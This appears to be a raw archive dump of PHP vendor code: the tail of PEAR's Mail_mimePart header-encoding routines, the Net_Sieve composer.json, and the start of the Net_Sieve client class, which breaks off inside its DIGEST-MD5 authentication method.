                $tmp   = wordwrap($name . ': ' . $value, 78, $eol . ' ');
                $value = preg_replace('/^' . $name . ':\s*/', '', $tmp);
                // hard limit 998 (RFC2822)
                $value = wordwrap($value, 998, $eol . ' ', true);
            }
        }

        return $value;
    }

    /**
     * Explode quoted string
     *
     * @param string $delimiter Delimiter expression string for preg_match()
     * @param string $string    Input string
     *
     * @return array String tokens array
     */
    protected static function explodeQuotedString($delimiter, $string)
    {
        $result = array();
        $strlen = strlen($string);
        $quoted_string = '"(?:[^"\\\\]|\\\\.)*"';

        for ($p=$i=0; $i < $strlen; $i++) {
            if ($string[$i] === '"') {
                $r = preg_match("/$quoted_string/", $string, $matches, 0, $i);
                if (!$r || empty($matches[0])) {
                    break;
                }
                $i += strlen($matches[0]) - 1;
            } else if (preg_match("/$delimiter/", $string[$i])) {
                $result[] = substr($string, $p, $i - $p);
                $p = $i + 1;
            }
        }
        $result[] = substr($string, $p);
        return $result;
    }

    /**
     * Encodes a header value as per RFC2047
     *
     * @param string $value      The header data to encode
     * @param string $charset    Character set name
     * @param string $encoding   Encoding name (base64 or quoted-printable)
     * @param int    $prefix_len Prefix length. Default: 0
     * @param string $eol        End-of-line sequence. Default: "\r\n"
     *
     * @return string Encoded header data
     * @since  1.6.1
     */
    public static function encodeHeaderValue($value, $charset, $encoding, $prefix_len = 0, $eol = "\r\n")
    {
        // #17311: Use multibyte aware method (requires mbstring extension)
        if ($result = Mail_mimePart::encodeMB($value, $charset, $encoding, $prefix_len, $eol)) {
            return $result;
        }

        // Generate the header using the specified params and dynamicly
        // determine the maximum length of such strings.
        // 75 is the value specified in the RFC.
        $encoding = $encoding == 'base64' ? 'B' : 'Q';
        $prefix = '=?' . $charset . '?' . $encoding .'?';
        $suffix = '?=';
        $maxLength = 75 - strlen($prefix . $suffix);
        $maxLength1stLine = $maxLength - $prefix_len;

        if ($encoding == 'B') {
            // Base64 encode the entire string
            $value = base64_encode($value);

            // We can cut base64 every 4 characters, so the real max
            // we can get must be rounded down.
            $maxLength = $maxLength - ($maxLength % 4);
            $maxLength1stLine = $maxLength1stLine - ($maxLength1stLine % 4);

            $cutpoint = $maxLength1stLine;
            $output = '';

            while ($value) {
                // Split translated string at every $maxLength
                $part = substr($value, 0, $cutpoint);
                $value = substr($value, $cutpoint);
                $cutpoint = $maxLength;
                // RFC 2047 specifies that any split header should
                // be separated by a CRLF SPACE.
                if ($output) {
                    $output .= $eol . ' ';
                }
                $output .= $prefix . $part . $suffix;
            }
            $value = $output;
        } else {
            // quoted-printable encoding has been selected
            $value = Mail_mimePart::encodeQP($value);

            // This regexp will break QP-encoded text at every $maxLength
            // but will not break any encoded letters.
            $reg1st = "|(.{0,$maxLength1stLine}[^\=][^\=])|";
            $reg2nd = "|(.{0,$maxLength}[^\=][^\=])|";

            if (strlen($value) > $maxLength1stLine) {
                // Begin with the regexp for the first line.
                $reg = $reg1st;
                $output = '';
                while ($value) {
                    // Split translated string at every $maxLength
                    // But make sure not to break any translated chars.
                    $found = preg_match($reg, $value, $matches);

                    // After this first line, we need to use a different
                    // regexp for the first line.
                    $reg = $reg2nd;

                    // Save the found part and encapsulate it in the
                    // prefix & suffix. Then remove the part from the
                    // $value_out variable.
                    if ($found) {
                        $part = $matches[0];
                        $len = strlen($matches[0]);
                        $value = substr($value, $len);
                    } else {
                        $part = $value;
                        $value = '';
                    }

                    // RFC 2047 specifies that any split header should
                    // be separated by a CRLF SPACE
                    if ($output) {
                        $output .= $eol . ' ';
                    }
                    $output .= $prefix . $part . $suffix;
                }
                $value = $output;
            } else {
                $value = $prefix . $value . $suffix;
            }
        }

        return $value;
    }

    /**
     * Encodes the given string using quoted-printable
     *
     * @param string $str String to encode
     *
     * @return string Encoded string
     * @since  1.6.0
     */
    public static function encodeQP($str)
    {
        // Bug #17226 RFC 2047 restricts some characters
        // if the word is inside a phrase, permitted chars are only:
        // ASCII letters, decimal digits, "!", "*", "+", "-", "/", "=", and "_"

        // "=",  "_",  "?" must be encoded
        $regexp = '/([\x22-\x29\x2C\x2E\x3A-\x40\x5B-\x60\x7B-\x7E\x80-\xFF])/';
        $str = preg_replace_callback(
            $regexp, array('Mail_mimePart', 'qpReplaceCallback'), $str
        );

        return str_replace(' ', '_', $str);
    }

    /**
     * Encodes the given string using base64 or quoted-printable.
     * This method makes sure that encoded-word represents an integral
     * number of characters as per RFC2047.
     *
     * @param string $str        String to encode
     * @param string $charset    Character set name
     * @param string $encoding   Encoding name (base64 or quoted-printable)
     * @param int    $prefix_len Prefix length. Default: 0
     * @param string $eol        End-of-line sequence. Default: "\r\n"
     *
     * @return string Encoded string
     * @since  1.8.0
     */
    public static function encodeMB($str, $charset, $encoding, $prefix_len=0, $eol="\r\n")
    {
        if (!function_exists('mb_substr') || !function_exists('mb_strlen')) {
            return;
        }

        $encoding = $encoding == 'base64' ? 'B' : 'Q';
        // 75 is the value specified in the RFC
        $prefix = '=?' . $charset . '?'.$encoding.'?';
        $suffix = '?=';
        $maxLength = 75 - strlen($prefix . $suffix);
        $mb_charset = Mail_mimePart::mbstringCharset($charset);

        // A multi-octet character may not be split across adjacent encoded-words
        // So, we'll loop over each character
        // mb_stlen() with wrong charset will generate a warning here and return null
        $length      = mb_strlen($str, $mb_charset);
        $result      = '';
        $line_length = $prefix_len;

        if ($encoding == 'B') {
            // base64
            $start = 0;
            $prev  = '';

            for ($i=1; $i<=$length; $i++) {
                // See #17311
                $chunk = mb_substr($str, $start, $i-$start, $mb_charset);
                $chunk = base64_encode($chunk);
                $chunk_len = strlen($chunk);

                if ($line_length + $chunk_len == $maxLength || $i == $length) {
                    if ($result) {
                        $result .= "\n";
                    }
                    $result .= $chunk;
                    $line_length = 0;
                    $start = $i;
                } else if ($line_length + $chunk_len > $maxLength) {
                    if ($result) {
                        $result .= "\n";
                    }
                    if ($prev) {
                        $result .= $prev;
                    }
                    $line_length = 0;
                    $start = $i - 1;
                } else {
                    $prev = $chunk;
                }
            }
        } else {
            // quoted-printable
            // see encodeQP()
            $regexp = '/([\x22-\x29\x2C\x2E\x3A-\x40\x5B-\x60\x7B-\x7E\x80-\xFF])/';

            for ($i=0; $i<=$length; $i++) {
                $char = mb_substr($str, $i, 1, $mb_charset);
                // RFC recommends underline (instead of =20) in place of the space
                // that's one of the reasons why we're not using iconv_mime_encode()
                if ($char == ' ') {
                    $char = '_';
                    $char_len = 1;
                } else {
                    $char = preg_replace_callback(
                        $regexp, array('Mail_mimePart', 'qpReplaceCallback'), $char
                    );
                    $char_len = strlen($char);
                }

                if ($line_length + $char_len > $maxLength) {
                    if ($result) {
                        $result .= "\n";
                    }
                    $line_length = 0;
                }

                $result      .= $char;
                $line_length += $char_len;
            }
        }

        if ($result) {
            $result = $prefix
                .str_replace("\n", $suffix.$eol.' '.$prefix, $result).$suffix;
        }

        return $result;
    }

    /**
     * Callback function to replace extended characters (\x80-xFF) with their
     * ASCII values (RFC2047: quoted-printable)
     *
     * @param array $matches Preg_replace's matches array
     *
     * @return string Encoded character string
     */
    protected static function qpReplaceCallback($matches)
    {
        return sprintf('=%02X', ord($matches[1]));
    }

    /**
     * Callback function to replace extended characters (\x80-xFF) with their
     * ASCII values (RFC2231)
     *
     * @param array $matches Preg_replace's matches array
     *
     * @return string Encoded character string
     */
    protected static function encodeReplaceCallback($matches)
    {
        return sprintf('%%%02X', ord($matches[1]));
    }

    /**
     * PEAR::raiseError implementation
     *
     * @param string $message A text error message
     *
     * @return PEAR_Error Instance of PEAR_Error
     */
    public static function raiseError($message)
    {
        // PEAR::raiseError() is not PHP 5.4 compatible
        return new PEAR_Error($message);
    }
}
PK
h�\����#vendor/pear/net_sieve/composer.jsonnu�[���{
    "authors": [
        {
            "email": "alec@alec.pl",
            "name": "Aleksander Machniak",
            "role": "Lead"
        },
        {
            "email": "jan@horde.org",
            "name": "Jan Schneider",
            "role": "Lead"
        },
        {
            "email": "richard@php.net",
            "name": "Richard Heyes",
            "role": "Lead"
        },
        {
            "email": "damlists@cnba.uba.ar",
            "name": "Damian Fernandez Sosa",
            "role": "Lead"
        },
        {
            "email": "amistry@am-productions.biz",
            "name": "Anish Mistry",
            "role": "Lead"
        }
    ],
    "autoload": {
        "classmap": [
            "./"
        ]
    },
    "description": "More info available on: https://pear.php.net/package/Net_Sieve",
    "license": "BSD-2-Clause",
    "name": "pear/net_sieve",
    "support": {
        "issues": "https://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_Sieve",
        "source": "https://github.com/pear/Net_Sieve"
    },
    "type": "library",
    "require": {
        "php": ">=5.6.0",
        "pear/pear-core-minimal": "~1.10",
        "pear/net_socket": "~1.2"
    },
    "require-dev": {
        "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^9"
    },
    "suggest": {
        "pear/auth_sasl": "Install optionally via your project's composer.json"
    }
}
PK
h�\_�m���vendor/pear/net_sieve/Sieve.phpnu�[���<?php
/**
 * This file contains the Net_Sieve class.
 *
 * +-----------------------------------------------------------------------+
 * | All rights reserved.                                                  |
 * |                                                                       |
 * | Redistribution and use in source and binary forms, with or without    |
 * | modification, are permitted provided that the following conditions    |
 * | are met:                                                              |
 * |                                                                       |
 * | o Redistributions of source code must retain the above copyright      |
 * |   notice, this list of conditions and the following disclaimer.       |
 * | o Redistributions in binary form must reproduce the above copyright   |
 * |   notice, this list of conditions and the following disclaimer in the |
 * |   documentation and/or other materials provided with the distribution.|
 * |                                                                       |
 * | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   |
 * | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     |
 * | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR |
 * | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  |
 * | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, |
 * | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      |
 * | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
 * | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
 * | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   |
 * | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
 * | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  |
 * +-----------------------------------------------------------------------+
 *
 * @category  Networking
 * @package   Net_Sieve
 * @author    Richard Heyes <richard@phpguru.org>
 * @author    Damian Fernandez Sosa <damlists@cnba.uba.ar>
 * @author    Anish Mistry <amistry@am-productions.biz>
 * @author    Jan Schneider <jan@horde.org>
 * @copyright 2002-2003 Richard Heyes
 * @copyright 2006-2008 Anish Mistry
 * @license   https://www.opensource.org/licenses/bsd-license.php BSD
 * @link      https://pear.php.net/package/Net_Sieve
 */

require_once 'PEAR.php';
require_once 'Net/Socket.php';

/**
 * Disconnected state
 *
 * @const NET_SIEVE_STATE_DISCONNECTED
 */
define('NET_SIEVE_STATE_DISCONNECTED', 1);

/**
 * Authorisation state
 *
 * @const NET_SIEVE_STATE_AUTHORISATION
 */
define('NET_SIEVE_STATE_AUTHORISATION', 2);

/**
 * Transaction state
 *
 * @const NET_SIEVE_STATE_TRANSACTION
 */
define('NET_SIEVE_STATE_TRANSACTION', 3);


/**
 * A class for talking to the timsieved server which comes with Cyrus IMAP.
 *
 * @category  Networking
 * @package   Net_Sieve
 * @author    Richard Heyes <richard@phpguru.org>
 * @author    Damian Fernandez Sosa <damlists@cnba.uba.ar>
 * @author    Anish Mistry <amistry@am-productions.biz>
 * @author    Jan Schneider <jan@horde.org>
 * @author    Neil Munday <neil@mundayweb.com>
 * @copyright 2002-2003 Richard Heyes
 * @copyright 2006-2008 Anish Mistry
 * @license   http://www.opensource.org/licenses/bsd-license.php BSD
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Net_Sieve
 * @link      http://tools.ietf.org/html/rfc5228 RFC 5228 (Sieve: An Email
 *            Filtering Language)
 * @link      http://tools.ietf.org/html/rfc5804 RFC 5804 A Protocol for
 *            Remotely Managing Sieve Scripts
 */
class Net_Sieve
{
    /**
     * The authentication methods this class supports.
     *
     * Can be overwritten if having problems with certain methods.
     *
     * @var array
     */
    var $supportedAuthMethods = [
        'DIGEST-MD5',
        'CRAM-MD5',
        'EXTERNAL',
        'PLAIN' ,
        'LOGIN',
        'GSSAPI',
        'XOAUTH2',
        'OAUTHBEARER'
    ];

    /**
     * SASL authentication methods that require Auth_SASL.
     *
     * @var array
     */
    var $supportedSASLAuthMethods = ['DIGEST-MD5', 'CRAM-MD5'];

    /**
     * The socket handle.
     *
     * @var resource
     */
    var $_sock;

    /**
     * Parameters and connection information.
     *
     * @var array
     */
    var $_data;

    /**
     * Server capabilities.
     *
     * @var array
     */
    var $_capability = [];

    /**
     * Current state of the connection.
     *
     * One of the NET_SIEVE_STATE_* constants.
     *
     * @var int
     */
    var $_state;

    /**
     * PEAR object to avoid strict warnings.
     *
     * @var PEAR_Error
     */
    var $_pear;

    /**
     * Constructor error.
     *
     * @var PEAR_Error
     */
    var $_error;

    /**
     * Whether to enable debugging.
     *
     * @var bool
     */
    var $_debug = false;

    /**
     * Debug output handler.
     *
     * This has to be a valid callback.
     *
     * @var string|array
     */
    var $_debug_handler = null;

    /**
     * Whether to pick up an already established connection.
     *
     * @var bool
     */
    var $_bypassAuth = false;

    /**
     * Whether to use TLS if available.
     *
     * @var bool
     */
    var $_useTLS = true;

    /**
     * Additional options for stream_context_create().
     *
     * @var array
     */
    var $_options = null;

    /**
     * Maximum number of referral loops
     *
     * @var array
     */
    var $_maxReferralCount = 15;

    /**
     * Kerberos service principal to use for GSSAPI authentication.
     *
     * @var string
     */
    var $_gssapiPrincipal = null;

    /**
     * Kerberos service cname to use for GSSAPI authentication.
     *
     * @var string
     */
    var $_gssapiCN = null;

    /**
     * Constructor.
     *
     * Sets up the object, connects to the server and logs in. Stores any
     * generated error in $this->_error, which can be retrieved using the
     * getError() method.
     *
     * @param string  $user       Login username.
     * @param string  $pass       Login password.
     * @param string  $host       Hostname of server.
     * @param string  $port       Port of server.
     * @param string  $logintype  Type of login to perform (see
     *                            $supportedAuthMethods), use `OAUTH` and lib
     *                            will choose between OAUTHBEARER or XOAUTH2
     *                            according the server's capabilities.
     * @param string  $euser      Effective user. If authenticating as an
     *                            administrator, login as this user.
     * @param bool    $debug      Whether to enable debugging (@see setDebug()).
     * @param string  $bypassAuth Skip the authentication phase. Useful if the
     *                            socket is already open.
     * @param bool    $useTLS     Use TLS if available.
     * @param array   $options    Additional options for
     *                            stream_context_create().
     * @param mixed   $handler    A callback handler for the debug output.
     * @param string  $principal  Kerberos service principal to use
     *                            with GSSAPI authentication.
     * @param string  $cname      Kerberos service cname to use
     *                            with GSSAPI authentication.
     */
    function __construct($user = null, $pass  = null, $host = 'localhost',
        $port = 2000, $logintype = '', $euser = '',
        $debug = false, $bypassAuth = false, $useTLS = true,
        $options = null, $handler = null, $principal = null, $cname = null
    ) {
        $this->_pear = new PEAR();
        $this->_state             = NET_SIEVE_STATE_DISCONNECTED;
        $this->_data['user']      = $user;
        $this->_data['pass']      = $pass;
        $this->_data['host']      = $host;
        $this->_data['port']      = $port;
        $this->_data['logintype'] = $logintype;
        $this->_data['euser']     = $euser;
        $this->_sock              = new Net_Socket();
        $this->_bypassAuth        = $bypassAuth;
        $this->_useTLS            = $useTLS;
        $this->_options           = (array) $options;
        $this->_gssapiPrincipal   = $principal;
        $this->_gssapiCN          = $cname;

        $this->setDebug($debug, $handler);

        /* Try to include the Auth_SASL package.  If the package is not
         * available, we disable the authentication methods that depend upon
         * it. */
        if ((@include_once 'Auth/SASL.php') === false) {
            $this->_debug('Auth_SASL not present');
            $this->supportedAuthMethods = array_diff(
                $this->supportedAuthMethods,
                $this->supportedSASLAuthMethods
            );
        }

        if (is_string($user) && strlen($user) && strlen($pass)) {
            $this->_error = $this->_handleConnectAndLogin();
        }
    }

    /**
     * Returns any error that may have been generated in the constructor.
     *
     * @return bool|PEAR_Error False if no error, PEAR_Error otherwise.
     */
    function getError()
    {
        return is_a($this->_error, 'PEAR_Error') ? $this->_error : false;
    }

    /**
     * Sets the debug state and handler function.
     *
     * @param bool   $debug   Whether to enable debugging.
     * @param string $handler A custom debug handler. Must be a valid callback.
     *
     * @return void
     */
    function setDebug($debug = true, $handler = null)
    {
        $this->_debug = $debug;
        $this->_debug_handler = $handler;
    }

    /**
     * Sets the Kerberos service principal for use with GSSAPI
     * authentication.
     *
     * @param string $principal The Kerberos service principal
     *
     * @return void
     */
    function setServicePrincipal($principal)
    {
        $this->_gssapiPrincipal = $principal;
    }

    /**
     * Sets the Kerberos service CName for use with GSSAPI
     * authentication.
     *
     * @param string $cname The Kerberos service principal
     *
     * @return void
     */
    function setServiceCN($cname)
    {
        $this->_gssapiCN = $cname;
    }

    /**
     * Connects to the server and logs in.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error on failure.
     */
    function _handleConnectAndLogin()
    {
        $res = $this->connect($this->_data['host'], $this->_data['port'], $this->_options, $this->_useTLS);
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        if ($this->_bypassAuth === false) {
            $res = $this->login($this->_data['user'], $this->_data['pass'], $this->_data['logintype'], $this->_data['euser'], $this->_bypassAuth);
            if (is_a($res, 'PEAR_Error')) {
                return $res;
            }
        }

        return true;
    }

    /**
     * Handles connecting to the server and checks the response validity.
     *
     * @param string  $host    Hostname of server.
     * @param string  $port    Port of server.
     * @param array   $options List of options to pass to
     *                         stream_context_create().
     * @param bool    $useTLS  Use TLS if available.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function connect($host, $port, $options = null, $useTLS = true)
    {
        $this->_data['host'] = $host;
        $this->_data['port'] = $port;
        $this->_useTLS       = $useTLS;

        if (is_array($options)) {
            $this->_options = array_merge($this->_options, $options);
        }

        if (NET_SIEVE_STATE_DISCONNECTED != $this->_state) {
            return $this->_pear->raiseError('Not currently in DISCONNECTED state', 1);
        }

        $res = $this->_sock->connect($host, $port, false, 5, $options);
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        if ($this->_bypassAuth) {
            $this->_state = NET_SIEVE_STATE_TRANSACTION;

            // Reset capabilities
            $this->_parseCapability('');
        } else {
            $this->_state = NET_SIEVE_STATE_AUTHORISATION;

            $res = $this->_doCmd();
            if (is_a($res, 'PEAR_Error')) {
                return $res;
            }

            // Reset capabilities (use unattended capabilities)
            $this->_parseCapability($res);
        }

        // Explicitly ask for the capabilities if needed
        if (empty($this->_capability['implementation'])) {
            $res = $this->_cmdCapability();
            if (is_a($res, 'PEAR_Error')) {
                return $this->_pear->raiseError(
                    'Failed to connect, server said: ' . $res->getMessage(), 2
                );
            }
        }

        // Check if we can enable TLS via STARTTLS.
        if ($useTLS && !empty($this->_capability['starttls'])
            && function_exists('stream_socket_enable_crypto')
        ) {
            $res = $this->_startTLS();
            if (is_a($res, 'PEAR_Error')) {
                return $res;
            }
        }

        return true;
    }

    /**
     * Disconnect from the Sieve server.
     *
     * @param bool $sendLogoutCMD Whether to send LOGOUT command before
     *                            disconnecting.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function disconnect($sendLogoutCMD = true)
    {
        return $this->_cmdLogout($sendLogoutCMD);
    }

    /**
     * Logs into server.
     *
     * @param string  $user       Login username.
     * @param string  $pass       Login password.
     * @param string  $logintype  Type of login method to use.
     * @param string  $euser      Effective UID (perform on behalf of $euser).
     * @param bool    $bypassAuth Do not perform authentication.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function login($user, $pass, $logintype = null, $euser = '', $bypassAuth = false)
    {
        $this->_data['user']      = $user;
        $this->_data['pass']      = $pass;
        $this->_data['logintype'] = $logintype;
        $this->_data['euser']     = $euser;
        $this->_bypassAuth        = $bypassAuth;

        if (NET_SIEVE_STATE_AUTHORISATION != $this->_state) {
            return $this->_pear->raiseError('Not currently in AUTHORISATION state', 1);
        }

        if (!$bypassAuth) {
            $res = $this->_cmdAuthenticate($user, $pass, $logintype, $euser);
            if (is_a($res, 'PEAR_Error')) {
                return $res;
            }
        }

        $this->_state = NET_SIEVE_STATE_TRANSACTION;

        return true;
    }

    /**
     * Returns an indexed array of scripts currently on the server.
     *
     * @param string $active Will be set to the name of the active script
     *
     * @return array|PEAR_Error Indexed array of scriptnames, PEAR_Error on failure
     */
    function listScripts(&$active = null)
    {
        if (is_array($scripts = $this->_cmdListScripts())) {
            if (isset($scripts[1])) {
                $active = $scripts[1];
            }

            return $scripts[0];
        }

        return $scripts;
    }

    /**
     * Returns the active script.
     *
     * @return string|null The active scriptname.
     */
    function getActive()
    {
        if (is_array($scripts = $this->_cmdListScripts())) {
            return $scripts[1];
        }
    }

    /**
     * Sets the active script.
     *
     * @param string $scriptname The name of the script to be set as active.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error on failure.
     */
    function setActive($scriptname)
    {
        return $this->_cmdSetActive($scriptname);
    }

    /**
     * Retrieves a script.
     *
     * @param string $scriptname The name of the script to be retrieved.
     *
     * @return string|PEAR_Error The script on success, PEAR_Error on failure.
     */
    function getScript($scriptname)
    {
        return $this->_cmdGetScript($scriptname);
    }

    /**
     * Adds a script to the server.
     *
     * @param string  $scriptname Name of the script.
     * @param string  $script     The script content.
     * @param bool    $makeactive Whether to make this the active script.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error on failure.
     */
    function installScript($scriptname, $script, $makeactive = false)
    {
        $res = $this->_cmdPutScript($scriptname, $script);
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        if ($makeactive) {
            return $this->_cmdSetActive($scriptname);
        }

        return true;
    }

    /**
     * Removes a script from the server.
     *
     * @param string $scriptname Name of the script.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error on failure.
     */
    function removeScript($scriptname)
    {
        return $this->_cmdDeleteScript($scriptname);
    }

    /**
     * Checks if the server has space to store the script by the server.
     *
     * @param string $scriptname The name of the script to mark as active.
     * @param int    $size       The size of the script.
     *
     * @return bool|PEAR_Error True if there is space, PEAR_Error otherwise.
     *
     * @todo Rename to hasSpace()
     */
    function haveSpace($scriptname, $size)
    {
        if (NET_SIEVE_STATE_TRANSACTION != $this->_state) {
            return $this->_pear->raiseError('Not currently in TRANSACTION state', 1);
        }

        $res = $this->_doCmd(sprintf('HAVESPACE %s %d', $this->_escape($scriptname), $size));
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        return true;
    }

    /**
     * Returns the list of extensions the server supports.
     *
     * @return array|PEAR_Error List of extensions or PEAR_Error on failure.
     */
    function getExtensions()
    {
        if (NET_SIEVE_STATE_DISCONNECTED == $this->_state) {
            return $this->_pear->raiseError('Not currently connected', 7);
        }

        return $this->_capability['extensions'];
    }

    /**
     * Returns whether the server supports an extension.
     *
     * @param string $extension The extension to check.
     *
     * @return bool|PEAR_Error Whether the extension is supported or PEAR_Error on failure.
     */
    function hasExtension($extension)
    {
        if (NET_SIEVE_STATE_DISCONNECTED == $this->_state) {
            return $this->_pear->raiseError('Not currently connected', 7);
        }

        $extension = trim($this->_toUpper($extension));
        if (is_array($this->_capability['extensions'])) {
            foreach ($this->_capability['extensions'] as $ext) {
                if ($ext == $extension) {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * Returns the list of authentication methods the server supports.
     *
     * @return array|PEAR_Error List of authentication methods or PEAR_Error on failure.
     */
    function getAuthMechs()
    {
        if (NET_SIEVE_STATE_DISCONNECTED == $this->_state) {
            return $this->_pear->raiseError('Not currently connected', 7);
        }

        return $this->_capability['sasl'];
    }

    /**
     * Returns whether the server supports an authentication method.
     *
     * @param string $method The method to check.
     *
     * @return bool|PEAR_Error Whether the method is supported or PEAR_Error on failure.
     */
    function hasAuthMech($method)
    {
        if (NET_SIEVE_STATE_DISCONNECTED == $this->_state) {
            return $this->_pear->raiseError('Not currently connected', 7);
        }

        $method = trim($this->_toUpper($method));

        if (is_array($this->_capability['sasl'])) {
            foreach ($this->_capability['sasl'] as $sasl) {
                if ($sasl == $method) {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * Handles the authentication using any known method.
     *
     * @param string $uid        The userid to authenticate as.
     * @param string $pwd        The password to authenticate with.
     * @param string $userMethod The method to use. If empty, the class chooses
     *                           the best (strongest) available method.
     * @param string $euser      The effective uid to authenticate as.
     *
     * @return void
     */
    function _cmdAuthenticate($uid, $pwd, $userMethod = null, $euser = '')
    {
        $method = $this->_getBestAuthMethod($userMethod);
        if (is_a($method, 'PEAR_Error')) {
            return $method;
        }

        switch ($method) {
        case 'DIGEST-MD5':
            return $this->_authDigestMD5($uid, $pwd, $euser);
        case 'CRAM-MD5':
            $result = $this->_authCRAMMD5($uid, $pwd, $euser);
            break;
        case 'LOGIN':
            $result = $this->_authLOGIN($uid, $pwd, $euser);
            break;
        case 'PLAIN':
            $result = $this->_authPLAIN($uid, $pwd, $euser);
            break;
        case 'EXTERNAL':
            $result = $this->_authEXTERNAL($uid, $pwd, $euser);
            break;
        case 'GSSAPI':
            $result = $this->_authGSSAPI($pwd);
            break;
        case 'XOAUTH2':
            $result = $this->_authXOAUTH2($uid, $pwd, $euser);
            break;
        case 'OAUTHBEARER':
            $result = $this->_authOAUTHBEARER($uid, $pwd, $euser);
            break;
        default :
            $result = $this->_pear->raiseError(
                $method . ' is not a supported authentication method'
            );
            break;
        }

        $res = $this->_doCmd();
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        if ($this->_pear->isError($res = $this->_cmdCapability())) {
            return $this->_pear->raiseError(
                'Failed to connect, server said: ' . $res->getMessage(), 2
            );
        }

        return $result;
    }

    /**
     * Authenticates the user using the PLAIN method.
     *
     * @param string $user  The userid to authenticate as.
     * @param string $pass  The password to authenticate with.
     * @param string $euser The effective uid to authenticate as.
     *
     * @return void
     */
    function _authPLAIN($user, $pass, $euser)
    {
        return $this->_sendCmd(
            sprintf(
                'AUTHENTICATE "PLAIN" "%s"',
                base64_encode($euser . chr(0) . $user . chr(0) . $pass)
            )
        );
    }

    /**
     * Authenticates the user using the GSSAPI method.
     *
     * @note the PHP krb5 extension is required and the service principal and cname
     *       must have been set.
     * @see  setServicePrincipal()
     *
     * @return void
     */
    function _authGSSAPI()
    {
        if (!extension_loaded('krb5')) {
            return $this->_pear->raiseError('The krb5 extension is required for GSSAPI authentication', 2);
        }

        if (!$this->_gssapiPrincipal) {
            return $this->_pear->raiseError('No Kerberos service principal set', 2);
        }

        if (!empty($this->_gssapiCN)) {
            putenv('KRB5CCNAME=' . $this->_gssapiCN);
        }

        try {
            $ccache = new KRB5CCache();
            if (!empty($this->_gssapiCN)) {
                $ccache->open($this->_gssapiCN);
            }

            $gssapicontext = new GSSAPIContext();
            $gssapicontext->acquireCredentials($ccache);

            $token   = '';
            $success = $gssapicontext->initSecContext($this->_gssapiPrincipal, null, null, null, $token);
            $token   = base64_encode($token);
        }
        catch (Exception $e) {
            return $this->_pear->raiseError('GSSAPI authentication failed: ' . $e->getMessage());
        }

        $this->_sendCmd("AUTHENTICATE \"GSSAPI\" {" . strlen($token) . "+}");

        $response = $this->_doCmd($token, true);

        try {
            $challenge = base64_decode(substr($response, 1, -1));
            $gssapicontext->unwrap($challenge, $challenge);
            $gssapicontext->wrap($challenge, $challenge, true);
        }
        catch (Exception $e) {
            return $this->_pear->raiseError('GSSAPI authentication failed: ' . $e->getMessage());
        }

        $response = base64_encode($challenge);

        $this->_sendCmd("{" . strlen($response) . "+}");

        return $this->_sendCmd($response);
    }

    /**
     * Authenticates the user using the LOGIN method.
     *
     * @param string $user  The userid to authenticate as.
     * @param string $pass  The password to authenticate with.
     * @param string $euser The effective uid to authenticate as. Not used.
     *
     * @return void
     */
    function _authLOGIN($user, $pass, $euser)
    {
        $result = $this->_sendCmd('AUTHENTICATE "LOGIN"');
        if (is_a($result, 'PEAR_Error')) {
            return $result;
        }

        $result = $this->_doCmd('"' . base64_encode($user) . '"', true);
        if (is_a($result, 'PEAR_Error')) {
            return $result;
        }

        return $this->_doCmd('"' . base64_encode($pass) . '"', true);
    }

    /**
     * Authenticates the user using the CRAM-MD5 method.
     *
     * @param string $user  The userid to authenticate as.
     * @param string $pass  The password to authenticate with.
     * @param string $euser The effective uid to authenticate as. Not used.
     *
     * @return void
     */
    function _authCRAMMD5($user, $pass, $euser)
    {
        $challenge = $this->_doCmd('AUTHENTICATE "CRAM-MD5"', true);
        if (is_a($challenge, 'PEAR_Error')) {
            return $challenge;
        }

        $auth_sasl = new Auth_SASL;
        $cram      = $auth_sasl->factory('crammd5');
        $challenge = base64_decode(trim($challenge));
        $response  = $cram->getResponse($user, $pass, $challenge);

        if (is_a($response, 'PEAR_Error')) {
            return $response;
        }

        return $this->_sendStringResponse(base64_encode($response));
    }

    /**
     * Authenticates the user using the DIGEST-MD5 method.
     *
     * @param string $user  The userid to authenticate as.
     * @param string $pass  The password to authenticate with.
     * @param string $euser The effective uid to authenticate as.
     *
     * @return void
     */
    function _authDigestMD5($user, $pass, $euser)
    {
        $challenge = $this->_doCmd('AUTHENTICATE "DIGEST-MD5"', true);
        if (is_a($challenge, 'PEAR_Error')) {
            return $challenge;
        }

        $auth_sasl = new Auth_SASL;
        $digest    = $auth_sasl->factory('digestmd5');
        $challenge = base64_decode(trim($challenge));

        // @todo Really 'localhost'?
        $response = $digest->getResponse($user, $pass, $challenge, 'localhost', 'sieve', $euser);
